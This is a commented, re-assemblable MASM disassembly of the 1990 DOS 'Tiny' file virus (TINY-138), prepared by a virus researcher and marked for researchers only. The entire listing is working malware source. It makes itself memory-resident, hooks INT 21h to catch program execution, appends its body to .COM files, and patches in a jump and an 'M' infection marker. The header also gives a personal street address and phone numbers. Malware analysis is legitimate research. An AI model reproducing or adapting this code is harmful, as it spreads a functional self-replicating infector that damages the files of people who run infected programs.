page ,132
name TINY138
title The 'Tiny' virus, version TINY-138
.radix 16
; ╔══════════════════════════════════════════════════════════════════════════╗
; ║ Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
; ║ Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 ║
; ║ ║
; ║ The 'Tiny' Virus, version TINY-138 ║
; ║ Disassembled by Vesselin Bontchev, September 1990 ║
; ║ ║
; ║ Copyright (c) Vesselin Bontchev 1989, 1990 ║
; ║ ║
; ║ This listing is only to be made available to virus researchers ║
; ║ or software writers on a need-to-know basis. ║
; ╚══════════════════════════════════════════════════════════════════════════╝
; The disassembly has been tested by re-assembly using MASM 5.0.
code segment
assume cs:code, ds:code
org 100
seg_60 equ 600
v_len equ v_end-first4
start:
jmp v_entry ; Jump to virus code
db 'M' ; Virus signature
mov ax,4C00 ; Program terminate
int 21
; The original first 4 bytes of the infected file:
first4 db 0EBh, 2, 90, 90
v_entry:
mov si,0FF ; Initialize some registers
mov di,offset start ; Put the addres of program start in DI
mov bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler
; The virus will be installed in memory at
; address 0050:0100h (i.e., at segment 60h):
mov cx,50
add si,[si+2] ; Determine the start addres of the virus body
push di ; Now a Near RET instruction will run the prg.
movsw ; Restore the original first 4 bytes
movsw
mov es,cx ; Point ES:DI at 0050:0100h
cmpsb ; Check if the virus is present in memory
jz run ; Just run the program if so
; Virus not in memory. Install it there:
dec si ; Correct SI & DI to point at the start of
dec di ; virus code and to destination address
rep movsw ; Move the virus there
mov es,cx ; ES := 0
; Move the INT 21h handler to INT 32h and
; install int_21 as new INT 21h handler.
; By the way, now DI == 1A4h (i.e., 69h*4):
xchg ax,bx ; Thransfer INT 21h vector to INT 69h,
xchg ax,cx ; preserving AX
lp:
xchg ax,cx ; Get a word
xchg ax,es:[di-(69-21)*4] ; Swap the two words
stosw ; Save the word
jcxz lp ; Loop until done (two times)
xchg ax,bx ; Restore AX (to keep progs as DISKCOPY happy)
run:
push ds ; Restore ES
pop es
ret ; And exit (go to CS:100h)
int_21: ; New INT 21h handler
cmp ax,4B00 ; EXEC function call?
jne end_21 ; Exit if not
push ax ; Save registers used
push bx
push dx
push ds
push es
mov ax,3D02 ; Open the file for both reading and writting
call do_int21
jc end_exec ; Exit on error
cbw ; Zero AH
cwd ; Zero DX
mov bx,si ; Save handle in BX
mov ds,ax ; Set DS and ES to 60h,
mov es,ax ; the virus data segment
mov ah,3F ; Read the first 4 bytes
int 69
; Check whether the file is already infected or is an .EXE file.
; The former contains the character `M' in its 3rd byte and
; the latter contains it either in the 0th or in the 1st byte.
mov al,'M' ; Look for `M'
repne scasb
jz close ; Exit if file not suitable for infection
mov al,2 ; Seek to the end of file
call lseek ; SI now contains the file size
mov cl,v_len ; Length of virus body
int 69 ; Append the virus to the file (AH is now 40h)
mov al,0E9 ; Near JMP opcode
stosb ; Form the first instruction of the file
inc si ; Add 1 to file size for the JMP
xchg ax,si ; Move it in AX
stosw ; Form the JMP's opperand
mov al,'M' ; Add a `M' character to mark the file
stosb ; as infected
xchg ax,dx ; Zero AX
call lseek ; Seek to the beginning
int 69 ; AH is 40h, write the JMP instruction
close:
mov ah,3E ; Close the file
int 69
end_exec:
pop es ; Restore used registers
pop ds
pop dx
pop bx
pop ax
; Exit through the original INT 21h handler:
end_21:
jmp dword ptr cs:[69*4]
lseek:
mov ah,42 ; Seek operation
cwd ; Zero DX
do_int21:
xor cx,cx ; External entry for Open
int 69
mov cl,4 ; 4 bytes will be read/written
xchg ax,si ; Store AX in SI
mov ax,4060 ; Prepare AH for Write
xor di,di ; Zero DI
ret ; Done
v_end equ $ ; End of virus body
code ends
end start
